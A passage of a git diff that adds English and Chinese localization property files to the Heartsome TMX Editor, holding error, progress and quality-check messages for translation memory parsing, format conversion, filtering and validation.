+qa.QATrigger.job.name = QA +qa.QATrigger.job.monitor.name = QA... +qa.QATrigger.qaError = [LOG] \u54c1\u8d28\u68c0\u67e5\u5931\u8d25\u3002 +qa.QATrigger.LOGG.getInstanceError = [LOG] \u54c1\u8d28\u68c0\u67e5\u9879 {0} \u5b9e\u4f8b\u521d\u59cb\u5316\u5931\u8d25\u3002 +qa.SpaceOfParaCheckQA.paraFirstLost = Leading space: Missed {2} spaces +qa.SpaceOfParaCheckQA.paraFirstExcess = Leading space: Added {2} spaces +qa.SpaceOfParaCheckQA.paraLastLost = Trailing space: Missed {2} spaces +qa.SpaceOfParaCheckQA.paraLastExcess = Trailing space: Added {2} spaces +qa.SrcSameButTgtQA.preLineAnd = Target inconsistency with line +qa.SrcSameButTgtQA.srcSameButTgt = \ +qa.SrcSameWithTgtQA.srcSameButTgtTip = Target same as source. +qa.TagConsistenceQA.tagLose = Missed tags in target: +qa.TagConsistenceQA.tagExcess = Added tags in target: +qa.TgtNullQA.tgtNullTip = No translation +qa.TgtSameButSrcQA.preLineAnd = Source inconsistent with line +qa.TgtSameButSrcQA.tgtSameButSrc = \ + +# added by robert 2013-12-16 +utils.TmxFilterQueryUtil.LOG.getSrcSameWithTgtTu = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u4e0e\u6e90\u6587\u76f8\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getSrcSameButTgtTU = [LOG]\u8fc7\u6ee4\u6e90\u6587\u76f8\u540c\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getTgtSameButSrcTU = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u76f8\u540c\u6e90\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getDuplicateSrcTU = [LOG]\u8fc7\u6ee4\u91cd\u590d\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getWithNoteSegTU = [LOG]\u8fc7\u6ee4\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getWithGarbleSegTU = [LOG]\u8fc7\u6ee4\u5e26\u4e71\u7801\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getTgtNullSegTU = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u4e3a\u7a7a\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message_zh.properties b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message_zh.properties new file mode 100644 index 0000000..e45f1aa --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message_zh.properties @@ -0,0 +1,152 @@ +tmxdata.TmxFileContainer.parseTmxFileError = \u89e3\u6790 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +tmxdata.TmxFileContainer.parseTmxFileEncodingError = \u8be5\u6587\u4ef6\u7684\u7f16\u7801\u4e0d\u53d7\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 UTF-8 \u7f16\u7801\u4fdd\u5b58\u8be5\u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +tmxdata.TmxFileContainer.parseTmxFileContentError = \u6587\u4ef6\u5185\u5bb9\u6709\u8bef\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u662f\u5426\u6b63\u786e\u3002 +tmxdata.TmxFileContainer.parseTmxFileNotFound = \u6587\u4ef6\u5df2\u7ecf\u4e0d\u5b58\u5728\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.oneLanguageMsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u53ea\u6709\u4e00\u4e2a\u8bed\u8a00\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u4e24\u4e2a\u6216\u66f4\u591a\u8bed\u8a00\u7684 TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.emptyFileMsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684 TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.emptyBodyNodeMsg = \u6240\u9009\u7684 TMX \u6587\u4ef6 \u8282\u70b9\u5185\u5bb9\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684 TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.parseLineColmsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e2d\u542b\u6709\u975e\u6cd5\u5b57\u7b26\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u975e\u6cd5\u5b57\u7b26\u6240\u5728\u884c\uff1a{0}\uff0c\u5217\uff1a{1}\n\u8bf7\u7528\u6587\u672c\u7f16\u8f91\u5668\u6253\u5f00\u8be5 TMX \u6587\u4ef6\u5e76\u5220\u9664\u4e0a\u8ff0\u975e\u6cd5\u5b57\u7b26\uff0c\u7136\u540e\u518d\u91cd\u8bd5\uff0c\u6216\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.entityErrorLineColmsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e2d\u542b\u6709\u975e\u6cd5\u7684\u5b9e\u4f53\u5b57\u7b26\uff08\u4ee5 && \u5f00\u5934\uff09\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u6240\u5728\u884c\uff1a{0}\uff0c\u5217\uff1a{1}\n\u8bf7\u4f7f\u7528\u6587\u672c\u7f16\u8f91\u5668\u6253\u5f00\u8be5 TMX \u6587\u4ef6\u5e76\u4fee\u6539\u6216\u5220\u9664\u975e\u6cd5\u7684\u5b9e\u4f53\u5b57\u7b26\uff0c\u7136\u540e\u518d\u91cd\u8bd5\uff0c\u6216\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.cantsaveReadOnly = \u5f53\u524d\u6587\u4ef6\u4e3a\u53ea\u8bfb\u3002\u82e5\u8981\u4fdd\u5b58\u5f53\u524d\u4fee\u6539\uff0c\u8bf7\u70b9\u51fb\u83dc\u5355\u201c\u6587\u4ef6 > \u5bfc\u51fa\u201d\u5c06\u5f53\u524d\u8fc7\u6ee4\u7ed3\u679c\u4fdd\u5b58\u4e3a\u65b0\u6587\u4ef6\u3002 +tmxdata.TmxDatabaseContainer.loadDbOpError = \u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u7684\u6570\u636e\u670d\u52a1\uff0c\u53ef\u80fd\u8f6f\u4ef6\u5b89\u88c5\u7a0b\u5e8f\u5df2\u7ecf\u635f\u574f\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u5e76\u5b89\u88c5\u3002 +tmxdata.TmxDatabaseContainer.connDbrOpError = \u8fde\u63a5\u6570\u636e\u5e93\u5931\u8d25\u3002 +tmxdata.TmxDatabaseContainer.connDbDriverOpError = \u65e0\u6cd5\u8fde\u63a5\u5230\u6570\u636e\u5e93\uff0c\u52a0\u8f7d\u6570\u636e\u5e93 JDBC \u9a71\u52a8\u5931\u8d25\u3002\u53ef\u80fd\u8f6f\u4ef6\u5b89\u88c5\u7a0b\u5e8f\u5df2\u7ecf\u635f\u574f\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u5e76\u5b89\u88c5\u3002 +Tmxdata.TmxDatabaseContainer.nonHstmMsg = \u65e0\u6cd5\u6253\u5f00\uff1a\u6240\u9009\u7684\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 HSTM \u8bb0\u5fc6\u5e93\u6587\u4ef6\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u7531 Heartsome Translation Studio 8 \u521b\u5efa\u7684\u6587\u4ef6\u578b\u8bb0\u5fc6\u5e93\u6587\u4ef6\u3002 + +converter.common.appendtmx.diffsrcLang.error=\u8ffd\u52a0\u5931\u8d25\uff0c\u5916\u90e8\u6587\u4ef6\u548c\u5f53\u524d TMX \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u6216\u76ee\u6807\u8bed\u8a00\u4e0d\u4e00\u81f4\u3002\u8bf7\u5c06\u6e90\u8bed\u8a00\u6216\u76ee\u6807\u8bed\u8a00\u4fdd\u6301\u4e00\u81f4\u3002 +converter.common.appendtmx.wrongTmx = \u5f85\u8ffd\u52a0\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 TMX \u6587\u4ef6\uff0c\u65e0\u6cd5\u8ffd\u52a0\u3002\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u8981\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u6216\u4f7f\u7528\u201c\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\u201d\u65b9\u5f0f\u3002 +converter.common.vaild.langcode.error = \u6587\u4ef6\u7684\u8bed\u8a00\u4ee3\u7801\u4e0d\u6807\u51c6\u3002\u8bf7\u4f7f\u7528\u7b26\u5408 ISO 639-1 \u548c ISO 3166-1 \u6807\u51c6\u7684\u8bed\u8a00\u4ee3\u7801\uff08\u4f8b\u5982 zh-CN\u3001en-US\uff09\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +converter.common.vaild.duplicatelangcode.error=\u6587\u4ef6\u542b\u6709\u91cd\u590d\u7684\u8bed\u8a00\u4ee3\u7801\u3002\u8bf7\u4fee\u6539\u91cd\u590d\u7684\u8bed\u8a00\u4ee3\u7801\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +converter.common.monitor.info.start = \u89e3\u6790 TMX \u6587\u4ef6... +converter.common.monitor.info.readtmx = \u5904\u7406 TMX \u5185\u5bb9... +converter.common.monitor.info.saving = \u6b63\u5728\u4fdd\u5b58... +converter.common.monitor.info.docx.loadtemplate = \u52a0\u8f7d\u6a21\u677f\u6587\u4ef6... + +converter.tmx2docx.template.notfound = \u52a0\u8f7d\u6a21\u677f\u6587\u4ef6\u65f6\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 +converter.docx2tmx.docx.error = \u65e0\u6cd5\u89e3\u6790\u6587\u4ef6 {0}\uff0c\u8be5\u6587\u4ef6\u53ef\u80fd\u5df2\u635f\u574f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +converter.docx2tmx.docx.invaild = \u672a\u5728\u8be5\u6587\u4ef6\u4e2d\u68c0\u6d4b\u5230\u8bed\u8a00\u4ee3\u7801\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u7b26\u5408\u8981\u6c42\u7684\u6587\u4ef6\u3002 +converter.docx2tmx.docx.parsedocx = \u8bfb\u53d6\u6587\u4ef6... +converter.docx2tmx.docx.readdocx = \u5904\u7406\u6587\u4ef6\u5185\u5bb9... +converter.docx2tmx.docx.testappend = \u68c0\u6d4b\u8ffd\u52a0 TMX \u6587\u4ef6\u7684\u5408\u6cd5\u6027... + +converter.hstm2tmx.error1=\u6570\u636e\u5e93\u8fde\u63a5\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u8f93\u5165\u7684\u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\u6b63\u786e\u3001\u4e14\u8be5\u670d\u52a1\u5668\u80fd\u6b63\u5e38\u8bbf\u95ee\u3002 +converter.hstm2tmx.error2=\u6570\u636e\u5e93\u4e2d\u6ca1\u6709\u6570\u636e\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u6570\u636e\u7684\u6570\u636e\u5e93\u3002 +converter.hstm2tmx.error3=\u5199\u5165 TMX \u6587\u4ef6\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +converter.hstm2tmx.error4=TMX \u7684\u6e90\u8bed\u8a00\u6216\u76ee\u6807\u8bed\u8a00\u4e0d\u4e00\u81f4\uff0c\u65e0\u6cd5\u8ffd\u52a0\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u6216\u4f7f\u7528\u201c\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\u201d\u65b9\u5f0f\u3002 + +converter.tmx2hstm.error1=\u6570\u636e\u5e93\u8fde\u63a5\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u8f93\u5165\u7684\u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\u6b63\u786e\u3001\u4e14\u8be5\u670d\u52a1\u5668\u80fd\u6b63\u5e38\u8bbf\u95ee\u3002 +converter.tmx2hstm.error2=\u6570\u636e\u5e93\u9a71\u52a8\u52a0\u8f7d\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 +converter.tmx2hstm.error3=\u6570\u636e\u5e93\u8868\u521b\u5efa\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u4f7f\u7528\u7684\u6570\u636e\u5e93\u7528\u6237\u5177\u6709\u8db3\u591f\u7684\u6743\u9650\u3002 +converter.tmx2hstm.error4=TMX \u6587\u4ef6\u683c\u5f0f\u6709\u9519\u8bef\u3002 +converter.tmx2hstm.error5=\u5411\u6570\u636e\u5e93\u4e2d\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 + +convert.tmx2tbx.tbxFileNotExit=\u751f\u6210 TBX \u6587\u4ef6\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +convert.tmx2tbx.writeTbxError=\u5411 TBX \u6587\u4ef6\u4e2d\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 + +convert.tbx2tmx.parseTbxError=\u89e3\u6790 TBX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TBX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TBX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +convert.tbx2tmx.writeTmx.error=\u5411 TMX \u6587\u4ef6\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 + +converter.tmx2xlsx.writeTmx.error=\u5411 Excel \u6587\u4ef6\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +converter.xlsx2tmx.parseExcle.error=\u89e3\u6790 Excel \u6587\u4ef6\u65f6\u51fa\u9519\u3002\u8bf7\u786e\u8ba4\u6240\u9009\u7684 Excel \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u9009\u62e9\u53e6\u4e00\u4e2a Excel \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +converter.xlsx2tmx.writeTmx.error=\u5411 TMX \u6587\u4ef6\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +core.dataAccess.filter.data.taskname=\u6b63\u5728\u67e5\u627e\u6570\u636e... + +core.databaseAccess.filter.empty.taskname=\u6b63\u5728\u67e5\u627e\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5... +core.databaseAccess.delete.empty.taskname=\u6b63\u5728\u5220\u9664\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5... + +core.fileAccess.resetfilter.datas.taskname=\u6b63\u5728\u5c06\u66f4\u6539\u5e94\u7528\u5230\u5f53\u524d\u8fc7\u6ee4\u7ed3\u679c +core.fileAccess.begindelete.taskname=\u6b63\u5728\u5904\u7406\u6570\u636e... +core.fileAccess.delete.details.taskname=\u5220\u9664 {0} \u6761\u8bb0\u5f55 +core.fileAccess.delete.empty.tasknmae=\u6b63\u5728\u5220\u9664\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5... +core.fileAccess.applyChang2AllFile.taskname=\u6b63\u5728\u5c06\u66f4\u6539\u5e94\u7528\u5230\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +core.fileAccess.filterDupliacteSegment=\u6b63\u5728\u67e5\u8be2\u91cd\u590d\u7684\u6587\u672c... +core.fileAccess.deleteDuplicateSegment=\u6b63\u5728\u5220\u9664\u91cd\u590d\u7684\u6587\u672c... +core.fileAccess.filterSameSrcDiffTgtSegment=\u6b63\u5728\u67e5\u627e\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... +core.fileAccess.deleteSameSrcDiffTgtSegment=\u6b63\u5728\u5220\u9664\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... + +core.TmxCutomFilterUtil.logger.msg1=[LOG] \u6dfb\u52a0\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg1=\u6dfb\u52a0\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.TmxCutomFilterUtil.logger.msg2=[LOG] \u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg2=\u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.TmxCutomFilterUtil.logger.msg3=[LOG] \u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg3=\u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.error.msg=\u83b7\u53d6\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.error.Logger.msg=[LOG] \u83b7\u53d6\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.deleteFail.logger=[LOG] \u5220\u9664\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.deleteFail.msg=\u5220\u9664\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.modifyFail.logger=[LOG] \u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.modifyFail.msg=\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.modifyFail.logger1=[LOG] \u65e0\u6cd5\u627e\u5230\u5bf9\u5e94\u7684\u8fc7\u6ee4\u5668\uff0c\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.modifyFail.msg1=\u65e0\u6cd5\u627e\u5230\u5bf9\u5e94\u7684\u8fc7\u6ee4\u5668\uff0c\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.error.filterFileWrong=\u5b58\u50a8\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u6761\u4ef6\u7684\u6587\u4ef6\u5df2\u635f\u574f\uff0c\u65e0\u6cd5\u89e3\u6790\u3002\u662f\u5426\u91cd\u65b0\u751f\u6210\uff1f + + +tmxeditor.tmxFileValidator.parseError.encoding = \u68c0\u6d4b\u5230\u6587\u4ef6\u7f16\u7801\u4e3a {0}\uff0c\u5c1d\u8bd5\u8f6c\u6362\u4e3a UTF-8 \u7f16\u7801... +tmxeditor.tmxFileValidator.parseError.msg=TMX \u6587\u4ef6 {0} \u5df2\u635f\u574f\uff0c\u5c1d\u8bd5\u81ea\u52a8\u4fee\u590d... +tmxeditor.tmxFileValidator.autofix=\u81ea\u52a8\u4fee\u590d\uff1a +tmxeditor.tmxFileValidator.autofix.failure=\u672a\u80fd\u6210\u529f\u4fee\u590d\u8be5\u6587\u4ef6\u4e2d\u7684\u6240\u6709\u9519\u8bef\u3002\u8bf7\u624b\u5de5\u4fee\u590d\u6b64\u6587\u4ef6\u3002 +tmxeditor.tmxFileValidator.autofix.success=\u81ea\u52a8\u4fee\u590d\u5b8c\u6210\uff0c\u4fee\u590d\u540e\u6587\u4ef6\u4f4d\u4e8e\uff1a {0} +tmxeditor.tmxFileValidator.autofix.missStart=\u7f3a\u5c11\u5f00\u59cb\u8282\u70b9\uff1a +tmxeditor.tmxFileValidator.autofix.missEnd=\u7f3a\u5c11\u7ed3\u675f\u8282\u70b9\uff1a +tmxeditor.tmxFileValidator.autofix.errorcode= {0} \u8282\u70b9\u4e2d\u4e0d\u5e94\u5b58\u5728\u5b57\u7b26 {1} +tmxeditor.tmxFileValidator.autofix.noencoding=\u672a\u8f6c\u4e49\u5b57\u7b26\uff1a +tmxeditor.tmxFileValidator.autofix.illegal= \u975e\u6cd5\u5b57\u7b26\uff1a +tmxeditor.tmxFileValidator.autofix.unknown= \u8BED\u6CD5\u9519\u8BEF +tmxeditor.tmxFileValidator.standard.msg=\u9a8c\u8bc1 {0} \u6587\u4ef6\u7684\u89c4\u8303\u6027... +tmxeditor.tmxFileValidator.standard.missReqAttr= {0} \u8282\u70b9\u4e2d\u7f3a\u5c11 {1} \u5c5e\u6027 +tmxeditor.tmxFileValidator.standard.errlangcode= \u65e0\u6cd5\u8bc6\u522b\u8bed\u8a00\u4ee3\u7801\uff1a{0} +tmxeditor.tmxFileValidator.info1=\u6587\u6863\uff1a +tmxeditor.tmxFileValidator.notTmxDoc=\u4e0d\u662f TMX \u6587\u6863 +tmxeditor.tmxFileValidator.useDtdValidate=\u6b63\u5728\u6839\u636e DTD \u6267\u884c\u9a8c\u8bc1 ... +tmxeditor.tmxFileValidator.parseTmxTempleFileFaild=TMX \u4e34\u65f6\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 +tmxeditor.tmxFileValidator.validingTmxFile=\u6b63\u5728\u9a8c\u8bc1 TMX \u6587\u4ef6\u7684\u5408\u6cd5\u6027... +tmxeditor.tmxFileValidator.repareSrcLang=\r\n\u8b66\u544a\uff1a\u672a\u58f0\u660e\u6e90\u8bed\u8a00\uff0c\u81ea\u52a8\u4fee\u590d\u4e3a *all* +tmxeditor.tmxFileValidator.srcLang=\u6e90\u8bed\u8a00\uff1a{0} +tmxeditor.tmxFileValidator.validatePassed=\u8be5\u6587\u4ef6\u7b26\u5408 TMX \u6807\u51c6\u3002 +tmxeditor.tmxFileValidator.canntFindFile=\u672a\u627e\u5230\u6587\u4ef6 {0} \u7684\u7f13\u5b58 +tmxeditor.tmxFileValidator.tuvLangError=\u9519\u8bef\uff1a \u8282\u70b9\u5305\u542b\u672a\u58f0\u660e\u7684\u8bed\u8a00 +tmxeditor.tmxFileValidator.lacktuLang=\u9519\u8bef\uff1a \u8282\u70b9\u7f3a\u5c11\u8bed\u8a00\u4e3a {0} \u7684 +tmxeditor.tmxFileValidator.error.duplicateElement_type_1=\u9519\u8bef\uff1a \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d +tmxeditor.tmxFileValidator.error.duplicateElement_type_2=\u9519\u8bef\uff1a/ \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d +tmxeditor.tmxFileValidator.error.elementcountWrong=\u9519\u8bef\uff1a/ \u5143\u7d20\u7684\u6570\u76ee\u4e0d\u6210\u5bf9 +tmxeditor.tmxFileValidator.error.elementNotMacth=\u9519\u8bef\uff1a/ \u5143\u7d20\u6ca1\u6709\u5bf9\u5e94\u7684 / \u5143\u7d20 +tmxeditor.tmxFileValidator.error.WrongLangCode=\u9519\u8bef\uff1a\u8bed\u8a00\u4ee3\u7801 {0} \u65e0\u6548 +tmxeditor.tmxFileValidator.error.wrongdateformat=\u9519\u8bef\uff1a\u65e5\u671f\u683c\u5f0f {0} \u65e0\u6548 +tmxeditor.tmxFileValidator.error.duplicateTuid=\u9519\u8bef\uff1atuid \u5c5e\u6027\u503c {0} \u91cd\u590d + +qa.NumberConsistenceQA.catnotFindNumber = \u5728\u8bd1\u6587\u4e2d\u65e0\u6cd5\u627e\u5230\u6570\u5b57 {0} +qa.NumberConsistenceQA.findExcessNumber = \u5728\u8bd1\u6587\u4e2d\u627e\u5230\u591a\u4f59\u6570\u5b57 {0} +qa.QAConstant.QA_TagConsistenceText = \u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 +qa.QAConstant.QA_NumberConsistenceText = \u6570\u5b57\u4e00\u81f4\u6027\u68c0\u67e5 +qa.QAConstant.QA_SpaceOfParaCheckText = \u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +qa.QAConstant.QA_TgtNullText = \u672a\u7ffb\u8bd1 +qa.QAConstant.QA_SrcSameWithTgtText = \u6e90\u6587\u548c\u8bd1\u6587\u76f8\u540c +qa.QAConstant.QA_SrcSameButTgtText = \u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c +qa.QAConstant.QA_TgtSameButSrcText = \u8bd1\u6587\u76f8\u540c\u3001\u6e90\u6587\u4e0d\u540c +qa.QAControl.LOGG.qaViewerOpenError = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\u3002 +qa.QATrigger.job.name = \u54c1\u8d28\u68c0\u67e5 +qa.QATrigger.job.monitor.name = \u54c1\u8d28\u68c0\u67e5... +qa.QATrigger.qaError = [LOG] \u54c1\u8d28\u68c0\u67e5\u5931\u8d25\u3002 +qa.QATrigger.LOGG.getInstanceError = [LOG] \u54c1\u8d28\u68c0\u67e5\u9879 {0} \u5b9e\u4f8b\u521d\u59cb\u5316\u5931\u8d25\u3002 +qa.SpaceOfParaCheckQA.paraFirstLost = \u6bb5\u9996\u7a7a\u683c\uff1a\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.paraFirstExcess = \u6bb5\u9996\u7a7a\u683c\uff1a\u8bd1\u6587\u591a\u51fa {2} \u4e2a +qa.SpaceOfParaCheckQA.paraLastLost = \u6bb5\u672b\u7a7a\u683c\uff1a\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.paraLastExcess = \u6bb5\u672b\u7a7a\u683c\uff1a\u8bd1\u6587\u591a\u51fa {2} \u4e2a +qa.SrcSameButTgtQA.preLineAnd = \u5f53\u524d\u884c\u4e0e\u7b2c +qa.SrcSameButTgtQA.srcSameButTgt = \ \u884c\uff0c\u6e90\u6587\u76f8\u540c\u4f46\u8bd1\u6587\u4e0d\u540c +qa.SrcSameWithTgtQA.srcSameButTgtTip = \u6e90\u6587\u4e0e\u8bd1\u6587\u76f8\u540c\u3002 +qa.TagConsistenceQA.tagLose = \u8bd1\u6587\u4e22\u5931\u6807\u8bb0\uff1a +qa.TagConsistenceQA.tagExcess = \u8bd1\u6587\u591a\u51fa\u6807\u8bb0\uff1a +qa.TgtNullQA.tgtNullTip = \u8bd1\u6587\u4e3a\u7a7a +qa.TgtSameButSrcQA.preLineAnd = \u5f53\u524d\u884c\u4e0e\u7b2c +qa.TgtSameButSrcQA.tgtSameButSrc = \ \u884c\uff0c\u8bd1\u6587\u76f8\u540c\u4f46\u6e90\u6587\u4e0d\u540c + +# added by robert 2013-12-16 +utils.TmxFilterQueryUtil.LOG.getSrcSameWithTgtTu = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u4e0e\u6e90\u6587\u76f8\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getSrcSameButTgtTU = 